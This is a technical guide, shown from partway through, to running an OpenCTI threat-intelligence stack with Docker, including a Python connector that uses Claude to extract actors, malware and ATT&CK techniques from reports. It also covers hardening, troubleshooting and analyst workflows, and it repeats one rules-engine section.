wait_for_opencti() {
  local deadline=$((SECONDS + WAIT_TIMEOUT))

  echo "[start] Waiting for OpenCTI API on http://localhost:8080..."
  until curl -fsS http://localhost:8080 >/dev/null 2>&1; do
    if (( SECONDS >= deadline )); then
      echo "[start] OpenCTI did not become reachable within ${WAIT_TIMEOUT}s." >&2
      echo "[start] Check logs with: docker compose logs -f opencti" >&2
      return 1
    fi
    sleep 5
  done
}

echo "[start] Starting OpenCTI core stack..."
docker compose -f docker-compose.yml up -d

wait_for_opencti

echo "[start] Starting external connectors..."
docker compose -f docker-compose.connectors.yml up -d

echo "[start] Building and starting AI enrichment connector..."
docker compose -f docker-compose.ai.yml up -d --build

echo "[start] Done."
docker compose -f docker-compose.yml ps

nano stop-all.sh

#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"

echo "[stop] Stopping OpenCTI core, connectors, and AI enrichment..."
docker compose \
  -f docker-compose.yml \
  -f docker-compose.connectors.yml \
  -f docker-compose.ai.yml \
  down --remove-orphans

echo "[stop] Done. Volumes are preserved."

8.1 Start the Core Stack

cd /home/andrey/openCTI

# Pre-flight: ElasticSearch refuses allocation above 90% disk usage
df -h /var/lib/docker
# If > 90% full, run: docker system prune -a   (frees ~47 GB of unused images)

# Create the shared Docker network (idempotent — safe to re-run)
docker network create opencti_network 2>/dev/null || true

# Start core services
docker compose -f docker-compose.yml up -d

# Wait for ElasticSearch to be healthy before OpenCTI finishes initializing
until curl -s -u "elastic:${ELASTIC_PASSWORD}" \
  http://localhost:9200/_cluster/health | grep -q '"status":"green"\|"status":"yellow"'; do
  echo "Waiting for ES..."; sleep 5
done

# Watch logs — first-run index creation takes 5-10 minutes
# Look for "Listening on port 8080"
docker compose -f docker-compose.yml logs -f opencti | grep -E "Listening|ERROR|indices"

8.2 Start Connectors

# Start feed connectors (after OpenCTI is healthy)
docker compose -f docker-compose.connectors.yml up -d
# Verify connectors registered (wait ~60s for startup)
docker compose -f docker-compose.connectors.yml ps

8.3 Verify in UI

http://localhost:8080
Login: admin@opencti.local / <your password>Navigation:
  Data → Connectors → check all show status "connected"
  Knowledge → Malwares → should start populating within minutes
  Activities → Logs → watch ingest events

9. AI-Driven Enrichment Pipeline

Overview

The AI enrichment pipeline adds a Claude-powered layer on top of the standard OpenCTI ingestion flow. Every time a connector (AlienVault, MITRE, URLhaus, etc.) writes a new object into OpenCTI, an event is published to RabbitMQ. The AI connector subscribes to that event stream, calls the Claude API with the object’s content, and writes the extracted structured intelligence back into the graph as STIX relationships, notes, and entity updates — all automatically.

Without AI enrichment:

AlienVault pulse → Report object in OpenCTI
                   (raw text, no relationships, no ATT&CK mapping)

With AI enrichment:

AlienVault pulse → Report object in OpenCTI
                       ↓ AI connector picks it up from event stream
                   Claude API: extract entities, map techniques, score severity
                       ↓
                   Report now has:
                   ├── Note: executive summary (2-3 sentences)
                   ├── Relationship → ThreatActor (if found in graph)
                   ├── Relationship → Malware (if found in graph)
                   ├── Relationship → AttackPattern T1059.001 (created if missing)
                   └── x_opencti_score updated based on AI confidence

9.1 How the Event Stream Works

OpenCTI uses RabbitMQ as its internal message bus. Every write operation (create, update, delete) on any STIX object publishes a message to a topic exchange. Connectors subscribe to this exchange via pycti's OpenCTIConnectorHelper.listen() method.

OpenCTI platform
      │
      │ write event (STIX bundle)
      ▼
  RabbitMQ
  exchange: amq.topic
      │
      ├──► worker-1 (standard workers — write to ES/graph)
      ├──► worker-2
      ├──► worker-3
      └──► connector-ai-enrichment  ← our connector subscribes here
                  │
                  │ reads event payload:
                  │ {
                  │   "type": "create",
                  │   "data": { "id": "report--uuid", "type": "report", ... }
                  │ }
                  ▼
            calls Claude API
                  ▼
            writes enrichment back via GraphQL API

Each message contains the full STIX object that was just created. The connector processes it and acknowledges the message — if it crashes mid-processing, RabbitMQ redelivers it.

Connector type INTERNAL_ENRICHMENT means:

• It does not import data on a schedule
• It reacts to existing objects as they are created or updated
• It appears in Settings → Connectors → Enrichment in the UI

9.2 Rules Engine (CE Automation)

Note: Playbooks are an Enterprise Edition feature. The Community Edition uses the built-in Rules Engine, which automatically infers and propagates relationships as data arrives.

All 20 rules are enabled. To verify or toggle: Settings → Customization → Rules

To enable all rules via API (already done — included for re-initialization):

RULES="attribution_attribution attribution_targets indicate_sighted attribution_use \
localization_of_targets location_location location_targets participate-to_parts \
observable_related observe_sighting part_part part-of_targets sighting_incident \
sighting_observable sighting_indicator report_ref_identity_part_of \
report_ref_indicator_based_on report_ref_observable_based_on \
report_ref_location_located_at parent_technique_use"
TOKEN=$(grep OPENCTI_ADMIN_TOKEN /home/andrey/openCTI/.env | cut -d= -f2)
for rule in $RULES; do
  curl -s -X POST http://localhost:8080/graphql \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d "{\"query\":\"mutation { ruleSetActivation(id: \\\"$rule\\\", enable: true) { id activated } }\"}" \
    | python3 -c "import sys,json; d=json.load(sys.stdin); print('$rule:', d['data']['ruleSetActivation']['activated'])"
done

What these rules do automatically once data arrives:

RuleEffectattribution_attributionIf APT-X is attributed to Country-A, and APT-Y is a sub-group of APT-X → APT-Y also attributed to Country-Asighting_incidentIf an indicator is sighted, automatically raise an Incidentindicate_sightedIf indicator is sighted → infer the targeted entity from the indicator's relationshipreport_ref_indicator_based_onIf a Report references Observable X, and X has an Indicator → auto-link the Indicator to the Reportobservable_relatedIf two objects share a common Observable → infer a related-to relationshipparent_technique_useIf a sub-technique (T1059.001) is used → auto-link parent technique (T1059) as used

For custom event-driven automation in CE, use a pycti script or the AI connector (section 9.1). The pycti library supports streaming the live event feed via helper.listen() — the AI connector in 9.1 uses exactly this pattern.10. Post-Deployment Hardening

9.2 What Claude Extracts and How It Maps to STIX

The connector sends the report’s description text to Claude with a structured prompt. Claude returns JSON. The connector then maps each field to STIX operations:

Claude output fieldSTIX actionsummaryCreates a Note object attached to the report (object_refs)threat_actors[]Looks up ThreatActor by name in graph → creates related-to relationship to reportmalware_families[]Looks up Malware by name → creates related-to relationship to reportattack_techniques[]Looks up AttackPattern by external_id (T1059.001) → creates uses relationship to reporttargeted_sectors[]Looks up Identity (sector) → creates targets relationshiptargeted_countries[]Looks up Location by ISO code → creates targets relationshipconfidenceSets x_opencti_score on the report (0–100)

Why look up instead of creating? MITRE ATT&CK and identity data is already loaded by the MITRE connector. Looking up prevents duplicates. Only AttackPattern objects are created if missing (since Claude may identify techniques not yet in the graph).

9.3 Connector Code

mkdir -p /home/andrey/openCTI/connectors/ai-enrichment

connectors/ai-enrichment/connector.py

import os
import json
import time
import anthropic
from pycti import OpenCTIConnectorHelper

SYSTEM_PROMPT = """You are a senior cyber threat intelligence analyst.
Analyze threat intelligence content and return structured JSON only.
No prose, no markdown fences, no explanation — raw JSON."""

REPORT_PROMPT = """Analyze this threat intelligence report. Return JSON with exactly these keys:
- summary: string (2-3 sentence executive brief, plain text)
- threat_actors: list of strings (actor names, aliases, groups mentioned)
- malware_families: list of strings (malware/tool names)
- attack_techniques: list of strings (MITRE ATT&CK IDs only, e.g. ["T1059.001", "T1003"])
- targeted_sectors: list of strings (e.g. ["Finance", "Healthcare", "Government"])
- targeted_countries: list of strings (ISO 3166-1 alpha-2, e.g. ["US", "UA", "DE"])
- confidence: integer 0-100

Report:
{content}"""

INTRUSION_SET_PROMPT = """Analyze this threat actor / intrusion set profile. Return JSON with exactly these keys:
- summary: string (2-3 sentence executive brief)
- aliases: list of strings (other known names)
- malware_families: list of strings (malware/tools this actor uses)
- attack_techniques: list of strings (MITRE ATT&CK IDs, e.g. ["T1059.001", "T1003"])
- targeted_sectors: list of strings (sectors this actor targets)
- targeted_countries: list of strings (ISO 3166-1 alpha-2 codes)
- motivation: string (one of: "espionage", "financial", "hacktivism", "destruction", "unknown")
- sophistication: string (one of: "minimal", "intermediate", "advanced", "expert", "unknown")
- confidence: integer 0-100

Profile:
{content}"""


class AIEnrichmentConnector:
    def __init__(self):
        config = {
            "opencti": {
                "url": os.environ.get("OPENCTI_URL", "http://opencti:8080"),
                "token": os.environ["OPENCTI_TOKEN"],
            },
            "connector": {
                "id": os.environ["CONNECTOR_ID"],
                "type": "INTERNAL_ENRICHMENT",
                "name": os.environ.get("CONNECTOR_NAME", "AI Enrichment (Claude)"),
                "scope": "Report,Intrusion-Set,Threat-Actor-Group,Malware",
                "log_level": os.environ.get("CONNECTOR_LOG_LEVEL", "info"),
                "auto": False,
            },
        }
        self.helper = OpenCTIConnectorHelper(config)
        self.client = anthropic.Anthropic(api_key=os.environ["ANTHROPIC_API_KEY"])
        self.model = os.environ.get("AI_MODEL", "claude-opus-4-7")

    # -------------------------------------------------------------------------
    # Claude call with retry on rate limit
    # -------------------------------------------------------------------------

    def _call_claude(self, prompt_template: str, content: str) -> dict | None:
        for attempt in range(3):
            try:
                msg = self.client.messages.create(
                    model=self.model,
                    max_tokens=2048,
                    system=SYSTEM_PROMPT,
                    messages=[{"role": "user", "content": prompt_template.format(content=content[:8000])}],
                )
                return json.loads(msg.content[0].text)
            except anthropic.RateLimitError:
                wait = 60 * (attempt + 1)
                self.helper.log_warning(f"Rate limited — waiting {wait}s")
                time.sleep(wait)
            except (json.JSONDecodeError, anthropic.APIError) as e:
                self.helper.log_error(f"Claude call failed: {e}")
                return None
        return None

    # -------------------------------------------------------------------------
    # STIX write-back helpers
    # -------------------------------------------------------------------------

    def _add_note(self, entity_id: str, summary: str, confidence: int) -> None:
        self.helper.api.note.create(
            abstract="AI Summary",
            content=summary,
            confidence=confidence,
            object_ids=[entity_id],
        )

    def _link_threat_actors(self, entity_id: str, names: list, confidence: int) -> None:
        for name in names:
            actor = self.helper.api.threat_actor_group.read(
                filters={"mode": "and", "filters": [{"key": "name", "values": [name]}], "filterGroups": []}
            )
            if actor:
                self.helper.api.stix_core_relationship.create(
                    fromId=entity_id,
                    toId=actor["id"],
                    relationship_type="related-to",
                    confidence=confidence,
                )

    def _link_malware(self, entity_id: str, names: list, confidence: int) -> None:
        for name in names:
            malware = self.helper.api.malware.read(
                filters={"mode": "and", "filters": [{"key": "name", "values": [name]}], "filterGroups": []}
            )
            if malware:
                self.helper.api.stix_core_relationship.create(
                    fromId=entity_id,
                    toId=malware["id"],
                    relationship_type="uses",
                    confidence=confidence,
                )

    def _link_attack_patterns(self, entity_id: str, technique_ids: list, confidence: int) -> None:
        for tid in technique_ids:
            pattern = self.helper.api.attack_pattern.read(
                filters={"mode": "and", "filters": [{"key": "x_mitre_id", "values": [tid]}], "filterGroups": []}
            )
            if not pattern:
                pattern = self.helper.api.attack_pattern.create(
                    name=tid,
                    x_mitre_id=tid,
                    confidence=50,
                )
            if pattern:
                self.helper.api.stix_core_relationship.create(
                    fromId=entity_id,
                    toId=pattern["id"],
                    relationship_type="uses",
                    confidence=confidence,
                )

    def _update_score(self, entity_id: str, confidence: int) -> None:
        self.helper.api.stix_domain_object.update_field(
            id=entity_id,
            input={"key": "x_opencti_score", "value": str(confidence)},
        )

    # -------------------------------------------------------------------------
    # Enrichment handlers per entity type
    # -------------------------------------------------------------------------

    def _enrich_report(self, report: dict) -> str:
        content = report.get("description") or ""
        if len(content) < 50:
            content = report.get("name", "")
        if not content or len(content) < 10:
            return "Skipped: content too short"

        self.helper.log_info(f"Enriching report: {report['name']}")
        result = self._call_claude(REPORT_PROMPT, content)
        if not result:
            return "Skipped: Claude error"

        confidence = result.get("confidence", 50)
        entity_id = report["id"]

        if result.get("summary"):
            self._add_note(entity_id, result["summary"], confidence)
        if result.get("threat_actors"):
            self._link_threat_actors(entity_id, result["threat_actors"], confidence)
        if result.get("malware_families"):
            self._link_malware(entity_id, result["malware_families"], confidence)
        if result.get("attack_techniques"):
            self._link_attack_patterns(entity_id, result["attack_techniques"], confidence)

        self._update_score(entity_id, confidence)
        self.helper.log_info(f"Enriched report '{report['name']}'")
        return "Enriched"

    def _enrich_intrusion_set(self, entity: dict) -> str:
        content = entity.get("description") or entity.get("name", "")
        if not content or len(content) < 10:
            return "Skipped: content too short"

        self.helper.log_info(f"Enriching intrusion set: {entity['name']}")
        result = self._call_claude(INTRUSION_SET_PROMPT, content)
        if not result:
            return "Skipped: Claude error"

        confidence = result.get("confidence", 50)
        entity_id = entity["id"]

        if result.get("summary"):
            self._add_note(entity_id, result["summary"], confidence)
        if result.get("malware_families"):
            self._link_malware(entity_id, result["malware_families"], confidence)
        if result.get("attack_techniques"):
            self._link_attack_patterns(entity_id, result["attack_techniques"], confidence)

        self.helper.log_info(f"Enriched intrusion set '{entity['name']}'")
        return "Enriched"

    # -------------------------------------------------------------------------
    # Event handler
    # -------------------------------------------------------------------------

    def process_message(self, data: dict) -> str:
        entity_type = data.get("entity_type", "").lower()
        entity_id = data.get("entity_id")
        enrichment_entity = data.get("enrichment_entity", {})

        self.helper.log_info(f"Received entity_type='{entity_type}' id='{entity_id}'")

        if not entity_id:
            return "Skipped"

        entity = enrichment_entity or {}

        if entity_type == "report":
            if not entity:
                entity = self.helper.api.report.read(id=entity_id) or {}
            if entity.get("confidence", 0) < 40:
                return "Skipped: low confidence"
            return self._enrich_report(entity)

        if entity_type in ("intrusion-set", "threat-actor-group"):
            if not entity:
                entity = self.helper.api.intrusion_set.read(id=entity_id) or {}
            if not entity:
                return "Not found"
            return self._enrich_intrusion_set(entity)

        if entity_type == "malware":
            if not entity:
                entity = self.helper.api.malware.read(id=entity_id) or {}
            if not entity:
                return "Not found"
            content = entity.get("description") or entity.get("name", "")
            if not content or len(content) < 10:
                return "Skipped: content too short"
            self.helper.log_info(f"Enriching malware: {entity['name']}")
            result = self._call_claude(REPORT_PROMPT, content)
            if not result:
                return "Skipped: Claude error"
            confidence = result.get("confidence", 50)
            if result.get("summary"):
                self._add_note(entity["id"], result["summary"], confidence)
            if result.get("attack_techniques"):
                self._link_attack_patterns(entity["id"], result["attack_techniques"], confidence)
            self._update_score(entity["id"], confidence)
            return "Enriched"

        return "Skipped"

    def start(self):
        self.helper.log_info("AI Enrichment connector starting...")
        self.helper.listen(self.process_message)


if __name__ == "__main__":
    AIEnrichmentConnector().start()

connectors/ai-enrichment/Dockerfile

FROM python:3.11-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY connector.py .
CMD ["python", "connector.py"]

connectors/ai-enrichment/requirements.txt

pycti>=6.2.0
anthropic>=0.40.0

9.4 Deploy the AI Connector

Prerequisites: Set ANTHROPIC_API_KEY in .env first.

cd /home/andrey/openCTI
# Build the image
docker compose -f docker-compose.ai.yml build
# Start it
docker compose -f docker-compose.ai.yml up -d
# Verify it registered with OpenCTI (look for "AI Enrichment" in connector list)
docker logs opencti-connector-ai-enrichment-1 --tail=20

In the OpenCTI UI: Settings → Connectors → Enrichment — the connector should appear with status connected after ~10 seconds.

9.5 Testing the Pipeline

Trigger a manual enrichment by importing a real threat report:

# Import a STIX report via the API to trigger the connector
curl -s -X POST http://localhost:8080/graphql \
  -H "Authorization: Bearer $(grep OPENCTI_ADMIN_TOKEN .env | cut -d= -f2)" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "mutation { reportAdd(input: { name: \"Test: APT29 spearphishing campaign\", description: \"APT29, also known as Cozy Bear, conducted a spearphishing campaign targeting NATO members using a malicious PDF dropper that installed Cobalt Strike beacon via PowerShell (T1059.001). The campaign targeted defense contractors in Poland and Germany. The malware communicated with C2 over HTTPS using domain fronting (T1090.004).\", published: \"2024-01-15T00:00:00Z\", report_types: [\"threat-report\"] }) { id name } }"
  }'

Then check what the AI connector wrote back:

# Watch connector logs for the enrichment
docker logs -f opencti-connector-ai-enrichment-1 2>&1 | grep -E "Enriching|Enriched|Error"
# Expected output:
# Enriching report: Test: APT29 spearphishing campaign
# Enriched: 1 actors, 1 malware, 2 techniques

In the UI, open the report — it should now have a Note with the summary, relationships to APT29 and Cobalt Strike, and links to T1059.001 and T1090.004.

9.6 Cost and Rate Limiting

Estimated Claude API cost per report:

• ~500–2000 tokens input (report text, truncated at 8000 chars)
• ~300 tokens output (JSON response)
• At claude-opus-4-7 pricing: ~$0.01–0.05 per report

Rate limiting: The Anthropic API has per-minute token limits. If AlienVault imports hundreds of reports in a burst, the connector will hit rate limits. Add a simple backoff:

import time
def _call_claude(self, content: str) -> dict | None:
    for attempt in range(3):
        try:
            msg = self.client.messages.create(...)
            return json.loads(msg.content[0].text)
        except anthropic.RateLimitError:
            time.sleep(60 * (attempt + 1))
        except (json.JSONDecodeError, anthropic.APIError) as e:
            self.helper.log_error(f"Claude call failed: {e}")
            return None
    return None

To limit scope (only enrich reports above a confidence threshold, skip low-quality feeds):

def process_message(self, data: dict) -> str:
    report = self.helper.api.report.read(id=entity_id)
    # Skip reports with low confidence (e.g. AlienVault auto-generated)
    if report.get("confidence", 0) < 40:
        return "Skipped: low confidence"
    return self._enrich_report(report)

9.7 Rules Engine (CE Automation)

Note: Playbooks are an Enterprise Edition feature. The Community Edition uses the built-in Rules Engine, which automatically infers and propagates relationships as data arrives.

All 20 rules are enabled. To verify or toggle: Settings → Customization → Rules

To enable all rules via API (already done — included for re-initialization):

RULES="attribution_attribution attribution_targets indicate_sighted attribution_use \
localization_of_targets location_location location_targets participate-to_parts \
observable_related observe_sighting part_part part-of_targets sighting_incident \
sighting_observable sighting_indicator report_ref_identity_part_of \
report_ref_indicator_based_on report_ref_observable_based_on \
report_ref_location_located_at parent_technique_use"
TOKEN=$(grep OPENCTI_ADMIN_TOKEN /home/andrey/openCTI/.env | cut -d= -f2)
for rule in $RULES; do
  curl -s -X POST http://localhost:8080/graphql \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d "{\"query\":\"mutation { ruleSetActivation(id: \\\"$rule\\\", enable: true) { id activated } }\"}" \
    | python3 -c "import sys,json; d=json.load(sys.stdin); print('$rule:', d['data']['ruleSetActivation']['activated'])"
done

What these rules do automatically once data arrives:

RuleEffectattribution_attributionIf APT-X is attributed to Country-A, and APT-Y is a sub-group of APT-X → APT-Y also attributed to Country-Asighting_incidentIf an indicator is sighted, automatically raise an Incidentindicate_sightedIf indicator is sighted → infer the targeted entity from the indicator's relationshipreport_ref_indicator_based_onIf a Report references Observable X, and X has an Indicator → auto-link the Indicator to the Reportobservable_relatedIf two objects share a common Observable → infer a related-to relationshipparent_technique_useIf a sub-technique (T1059.001) is used → auto-link parent technique (T1059) as used

For custom event-driven automation in CE, use a pycti script or the AI connector (section 9.1). The pycti library supports streaming the live event feed via helper.listen() — the AI connector in 9.1 uses exactly this pattern.

10. Post-Deployment Hardening

10.1 Reverse Proxy with TLS (nginx)

# /etc/nginx/sites-available/opencti
server {
    listen 443 ssl http2;
    server_name opencti.yourdomain.com;
ssl_certificate     /etc/letsencrypt/live/opencti.yourdomain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/opencti.yourdomain.com/privkey.pem;
    ssl_protocols       TLSv1.2 TLSv1.3;
    ssl_ciphers         ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384;
    location / {
        proxy_pass         http://127.0.0.1:8080;
        proxy_set_header   Host $host;
        proxy_set_header   X-Real-IP $remote_addr;
        proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header   X-Forwarded-Proto $scheme;
        proxy_read_timeout 300s;
        client_max_body_size 100m;
    }
}
server {
    listen 80;
    server_name opencti.yourdomain.com;
    return 301 https://$host$request_uri;
}

10.2 Backup Strategy

#!/bin/bash
# /home/andrey/openCTI/scripts/backup.sh
set -euo pipefail
BACKUP_DIR="/mnt/backup/opencti/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$BACKUP_DIR"
# Snapshot ElasticSearch
curl -s -u elastic:${ELASTIC_PASSWORD} \
  -X PUT "http://localhost:9200/_snapshot/backup/snapshot_$(date +%Y%m%d)" \
  -H 'Content-Type: application/json' \
  -d '{"indices": "*", "ignore_unavailable": true}'
# Dump MinIO (reports, files)
docker run --rm \
  --network opencti_network \
  -v "$BACKUP_DIR:/backup" \
  minio/mc:latest \
  mirror myminio/opencti /backup/minio/
echo "Backup completed: $BACKUP_DIR"

10.3 Security Checklist

• Change all default passwords in .env
• Generate unique UUID4 tokens for every connector
• Enable TLS via nginx reverse proxy
• Restrict port 8080 to localhost only (127.0.0.1:8080:8080)
• Enable ElasticSearch authentication (already configured above)
• Set up fail2ban on the nginx access log
• Rotate OPENCTI_ADMIN_TOKEN every 90 days
• Review TLP markings — ensure nothing RED leaks via TAXII
• Enable audit logging: APP__APP_LOGS__LOGS_LEVEL: info

11. Operational Runbook

Day 1 — Initial Data Load

# MITRE ATT&CK loads first (foundational framework)
# Wait ~10 minutes for it to complete, then verify:
TOKEN=$(grep OPENCTI_ADMIN_TOKEN /home/andrey/openCTI/.env | cut -d= -f2)

curl -s -X POST http://localhost:8080/graphql \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query": "{ attackPatterns { edges { node { name } } } }"}' | \
  python3 -c "import sys,json; d=json.load(sys.stdin); print('Techniques loaded:', len(d['data']['attackPatterns']['edges']))"
# Should return 500+ techniques

Common Operations

# Check all connector health
docker compose -f docker-compose.connectors.yml ps
# View connector logs
docker compose -f docker-compose.connectors.yml logs --tail=50 connector-alienvault
# Restart a stuck connector
docker compose -f docker-compose.connectors.yml restart connector-malwarebazaar
# Scale workers for high ingest load
docker compose -f docker-compose.yml up -d --scale worker=5
# Check ElasticSearch cluster health
curl -s -u elastic:${ELASTIC_PASSWORD} http://localhost:9200/_cluster/health?pretty
# Check RabbitMQ queue depth (should stay near 0 at rest)
docker exec $(docker ps -qf name=rabbitmq) rabbitmqctl list_queues name messages

Monitoring Metrics to Watch

Quick Reference

# Start everything
cd /home/andrey/openCTI
docker network create opencti_network 2>/dev/null || true
docker compose -f docker-compose.yml up -d
docker compose -f docker-compose.connectors.yml up -d
docker compose -f docker-compose.ai.yml up -d
# Stop everything
docker compose -f docker-compose.ai.yml down
docker compose -f docker-compose.connectors.yml down
docker compose -f docker-compose.yml down
# Access
# UI:      http://localhost:8080
# API:     http://localhost:8080/graphql
# MinIO:   http://localhost:9001
# RabbitMQ: http://localhost:15672

12. Troubleshooting

Known Issues — OpenCTI 6.2.0 + ElasticSearch 8.13

ILM Race Condition (resource_already_exists_exception)

ES 8.13’s ILM daemon auto-bootstraps rollover indices the moment an index template with lifecycle.rollover_alias is created. OpenCTI's elCreateIndex does a check-then-create which loses the race. This kills initialization and loops with restart: always.

Fix already applied: patches/back.js is mounted over the compiled bundle and makes elCreateIndex idempotent — it catches resource_already_exists_exception and returns null.

Re-initialization procedure (if ES volume is dropped):

# 1. Delete any leftover index templates from a failed run
curl -s -u elastic:${ELASTIC_PASSWORD} -X DELETE \
  "http://localhost:9200/_index_template/opencti*"

# 2. Flush Redis state
docker exec opencti-redis-1 redis-cli -a opencti FLUSHALL

# 3. Start ES first, wait for green/yellow
docker compose up -d elasticsearch
until curl -s -u elastic:${ELASTIC_PASSWORD} \
  http://localhost:9200/_cluster/health | grep -q '"status":"green"\|"status":"yellow"'; do
  sleep 5; done

# 4. Start the rest — OpenCTI will create 13 indices and load base STIX data (~5-10 min)
docker compose up -d

ElasticSearch Disk Watermark (cluster RED, no shard allocation)

ES 8.x refuses all shard allocation when disk exceeds 90% high watermark. cluster.routing.allocation.disk.threshold_enabled=false is set in docker-compose.yml.

To reclaim disk space:

docker system prune -a   # frees ~47 GB of unused images/containers

Connectors Can’t Reach opencti Hostname

Both compose files must share the same Docker network. docker-compose.yml defines:

networks:
  default:
    name: opencti_network
    external: true

If the main stack was started without this, run:

docker network connect --alias opencti opencti_network opencti-opencti-1

Then add the networks: block to docker-compose.yml and run docker compose up -d to make it permanent.

OPENCTI_TOKEN vs CONNECTOR_ID

Connectors authenticate to OpenCTI using OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}. The per-connector UUID variables (CONNECTOR_MITRE_TOKEN, etc.) are only used as CONNECTOR_ID — they identify the connector instance in the UI, not for authentication.

CVE Connector — Zero Vulnerabilities Imported (NVD API Key Bug)

connector-cve:6.2.0 has a bug: it sends the NVD API key as Bearer: <key> in the HTTP header, but NVD 2.0 API requires apiKey: <key>. The connector silently gets a non-200 response and imports nothing. Additionally, CVE_MAX_DATE_RANGE is required but missing from the image's default config — omitting it causes a TypeError: '>' not supported between instances of 'NoneType' and 'int' crash every 60 seconds.

Fix: Mount a patched api.py that uses the correct header, and add the missing vars:

connector-cve:
  image: opencti/connector-cve:6.2.0
  volumes:
    - ./patches/cve/api.py:/opt/opencti-connector-cve/services/client/api.py:ro
  environment:
    CVE_MAX_DATE_RANGE: 120
    CVE_MAINTAIN_DATA: "true"
    # ... other vars

patches/cve/api.py — change header from "Bearer": api_key to "apiKey": api_key:

headers = {"User-Agent": header}
if api_key:
    headers["apiKey"] = api_key

13. Usage Examples

13.1 Standard OpenCTI Workflows

Example 1 — Investigate an IP address

You received an alert from your SIEM about suspicious outbound traffic to 103.113.70.102.

In OpenCTI UI:

Search → type 103.113.70.102

If AlienVault or URLhaus has seen it, you’ll find:

• Which threat actor uses this IP as C2
• What malware family communicates with it
• When it was first/last observed
• TLP marking and confidence score
• All reports that mention it

Via API:

TOKEN=$(grep OPENCTI_ADMIN_TOKEN /home/andrey/openCTI/.env | cut -d= -f2)
curl -s -X POST http://localhost:8080/graphql \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query": "{ stixCyberObservables(filters: {mode: and, filters: [{key: \"value\", values: [\"https://103.113.70.102/bin/support.client.exe\"]}], filterGroups: []}) { edges { node { id entity_type ... on Url { value } } } } }"}' | python3 -m json.tool

Example 2 — Build an APT profile

You want to understand everything known about Lazarus Group before a threat briefing.

Threats → Intrusion Sets → search "Lazarus"

The profile shows:

• Attributed to: North Korea
• Motivations: Financial gain, Espionage
• Targets: Finance, Cryptocurrency, Defense
• Malware used: WannaCry, Hermes, BLINDINGCAN (all auto-linked by MITRE connector)
• Techniques: 80+ ATT&CK techniques with usage relationships
• Campaigns: Operation AppleJeus, Dream Job, etc.
• Timeline: chronological view of all activity

Click “ATT&CK Patterns” tab → heatmap showing which techniques Lazarus uses most.

Example 3 — Import a threat report (PDF / blog post)

You found a Mandiant or CrowdStrike blog post about a new campaign.

Data → Import → drag and drop the PDF or paste the URL
Select format: "Auto detect" or "Report"

OpenCTI parses it and creates a Report object. The AI enrichment connector then picks it up automatically and extracts:

• Threat actors mentioned
• Malware families
• ATT&CK technique IDs
• Targeted sectors and countries

All as STIX relationships, visible immediately in the UI.

Example 4 — Track a CVE across your environment

CVE-2024–21762 (Fortinet FortiOS RCE) was just published. Check what you know about it.

Arsenal → Vulnerabilities → search "CVE-2024-21762"

After the CVE connector syncs, you’ll see:

• CVSS score and vector
• Affected software versions
• Which threat actors exploit it (once AlienVault/MITRE data arrives)
• Which campaigns used it
• Related indicators (IPs, domains used in exploitation)

Example 5 — Create an incident from a sighting

Your EDR detected Cobalt Strike beacon on a workstation.

Activities → Incidents → Create
  Name: "CS beacon on WS-042"
  Type: "Intrusion"
  Confidence: 90
  Add object: link to Cobalt Strike (malware)
  Add object: link to T1071.001 (C2 over HTTP)
  Add observable: add the C2 IP

With sighting_incident rule enabled, future detections of the same C2 IP automatically raise new incidents without manual work.

Example 6 — Export IOCs to your firewall / SIEM

You want a live blocklist of all HIGH confidence IPv4 indicators.

Data → Indicators
Filter: Score > 70, Type = IPv4-Addr, Valid until > today
Export → CSV or STIX

Or use the built-in TAXII 2.1 server to push directly to your SIEM:

Settings → Taxii Server → Create collection "High confidence IOCs"
Configure your SIEM to poll: http://localhost:8080/taxii2/

Example 7 — Map your detection coverage against ATT&CK

You want to know which techniques you detect vs which you’re blind to.

Technics → Attack Patterns
Filter by: used by (Lazarus Group)

Cross-reference the list with your SIEM detection rules. Techniques with no detection rule = gap in coverage.

Export the filtered list as CSV and import into ATT&CK Navigator for a visual heatmap of covered vs uncovered techniques.

Example 8 — Pivot from malware to infrastructure

You found a Ryuk ransomware sample (SHA256 hash).

Search → paste the SHA256

From the malware object, pivot to:

• Related indicators → domains and IPs used for C2
• Used by → Wizard Spider (threat actor)
• Campaigns → which ransomware campaigns used this variant
• Techniques → T1486 (Data Encrypted for Impact), T1490 (Inhibit System Recovery)

Each pivot is one click in the graph view.

Example 9 — Share intelligence with a partner org

You want to share a report with a partner but strip out RED-marked internal data.

Open the report → Actions → Share
Select TLP level: TLP:AMBER (only partner can see it)

Or use Workspaces → Sharing groups to create a federated share with another OpenCTI instance. All objects above RED are automatically excluded from the export.

Example 10 — Build a custom dashboard for your sector

Your org is in Finance. You want a live dashboard showing threats to your sector.

Home → Dashboards → Create dashboard "Finance Threat Landscape"
Add widgets:
  - "Threat actors targeting Finance" (bar chart)
  - "Most used techniques against Finance" (ATT&CK heatmap)
  - "New IOCs last 7 days" (timeline)
  - "Active campaigns" (list)
  - "CVEs affecting banking software" (table)

Each widget auto-updates as new data arrives from connectors.

If you like this research, buy me a coffee (PayPal) — Keep the lab running

Follow for practical cybersecurity research

If you’re interested in Offensive security, AI security, real-world attack simulations, CTI, and detection engineering — this is exactly what I focus on.

Stay connected:

→ Subscribe on Medium: medium.com/@1200km
→ Connect on LinkedIn: andrey-pautov
→ GitHub — tools & labs: github.com/anpa1200
→ Contact: 1200km@gmail.com

Andrey Pautov

Follow My Work

I publish practical cybersecurity research, CTI workflows, detection engineering notes, malware analysis projects, OpenCTI work, cloud and Kubernetes security research, AI-assisted security tooling, labs, and technical guides.

Portfolio / Knowledge Base: https://1200km.com/
Medium: https://medium.com/@1200km
GitHub: https://github.com/anpa1200
